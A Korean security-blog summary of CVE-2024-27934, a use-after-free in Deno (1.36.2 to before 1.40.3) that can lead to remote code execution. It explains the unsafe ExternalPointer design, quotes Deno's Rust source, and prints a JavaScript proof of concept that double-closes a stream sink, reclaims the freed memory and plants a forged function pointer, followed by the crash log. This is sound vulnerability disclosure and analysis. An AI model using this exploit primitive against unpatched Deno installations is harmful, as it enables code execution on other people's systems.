[하루한줄] CVE-2024-27934: Deno의 Use-After-Free로 인한 RCE 취약점

URL

https://github.com/denoland/deno/security/advisories/GHSA-3j27-563v-28wf

Target

  • Deno ≥ 1.36.2
  • Deno < 1.40.3

Explain

JavaScript, TypeScript 런타임인 Deno에서 RCE가 가능한 Use-After-Free 취약점이 발생했습니다.

Deno에서는 *const c_voidexternal!() 매크로로 정의되는 ExternalPointer를 사용하여 외부 lifetime을 가진 임의의 void *를 wrapping 하는 v8::External을 표현합니다. 이는 Rust의 lifetime safety를 무시하기 때문에 안전하지 않습니다. 따라서 Use-After-Free가 발생해도 이를 탐지하지 못하여 해당 취약점이 발생하게 되었습니다.

아래의 PoC에서는 Use-After-Free를 통해 임의 코드 실행이 가능함을 보입니다

const ops = Deno[Deno.internal].core.ops;
const rid = ops.op_readable_stream_resource_allocate();
const sink = ops.op_readable_stream_resource_get_sink(rid);

// close
ops.op_readable_stream_resource_close(sink);
ops.op_readable_stream_resource_close(sink);

// reclaim BoundedBufferChannelInner
const ab = new ArrayBuffer(0x8058);
const dv = new DataView(ab);

// forge chunk contents
dv.setBigUint64(0, 2n, true);
dv.setBigUint64(0x8030, 0x1337c0d30000n, true);

// trigger segfault
Deno.close(rid);

위 코드에서는 1.38.1 버전 전까지는 *const c_void가, 그 이후부터는 ExternalPointer가 사용되는 stream_resource를 사용하여 Use-After-Free를 발생시킵니다.

먼저 ops.op_readable_stream_resource_allocate를 통해 stream resource를 할당하고 반환된 resource id를 rid에 저장합니다. 이 과정에서 BoundedBufferChannelInner가 할당됩니다.

pub fn op_readable_stream_resource_allocate(state: &mut OpState) -> ResourceId {
  let completion = CompletionHandle::default();
  let resource = ReadableStreamResource {
    read_queue: Default::default(),
    cancel_handle: Default::default(),
    channel: BoundedBufferChannel::default(),
    data: ReadableStreamResourceData { completion },
    size_hint: (0, None),
  };
  state.resource_table.add(resource)
}

...
struct BoundedBufferChannel {
  inner: Rc<RefCell<BoundedBufferChannelInner>>,
}
...
struct BoundedBufferChannelInner {
  buffers: [MaybeUninit<V8Slice<u8>>; BUFFER_CHANNEL_SIZE as _],
  ring_producer: u16,
  ring_consumer: u16,
  error: Option<AnyError>,
  current_size: usize,
  // TODO(mmastrac): we can math this field instead of accounting for it
  len: usize,
  closed: bool,

  read_waker: Option<Waker>,
  write_waker: Option<Waker>,

  _unsend: PhantomData<std::sync::MutexGuard<'static, ()>>,
}

이후 rid를 사용하여 호출한 아래의 op_readable_stream_resource_get_sink에서는 channel의 ExternalPointer가 생성됩니다.

pub fn op_readable_stream_resource_get_sink(
  state: &mut OpState,
  #[smi] rid: ResourceId,
) -> *const c_void {
  let Ok(resource) = state.resource_table.get::<ReadableStreamResource>(rid)
  else {
    return std::ptr::null();
  };
  ExternalPointer::new(resource.channel.clone()).into_raw()
}

op_readable_stream_resource_close호출로 channel이 해제된 다음 Deno.close(rid)에서 해제된 메모리에 접근하면서 Use-After-Free가 발생합니다. PoC에서는 ArrayBufferDataView를 통해 Use-After-Free가 발생하는 메모리를 재할당 받은 다음 close 호출 시에 함수 포인터로 참조되는 부분에 데이터로 1337c0d30008 를 썼고 해당 주소를 참조하면서 크래시가 발생합니다.

[ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0)
[ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c7 86 30 80 00 00 00 00 00 00 48 85 c0 74 03 <ff> 50 08 48 ff 03 48 83 c4 08 5b 41 5e c3 48 8d 3d 0d 1a 59 fb 48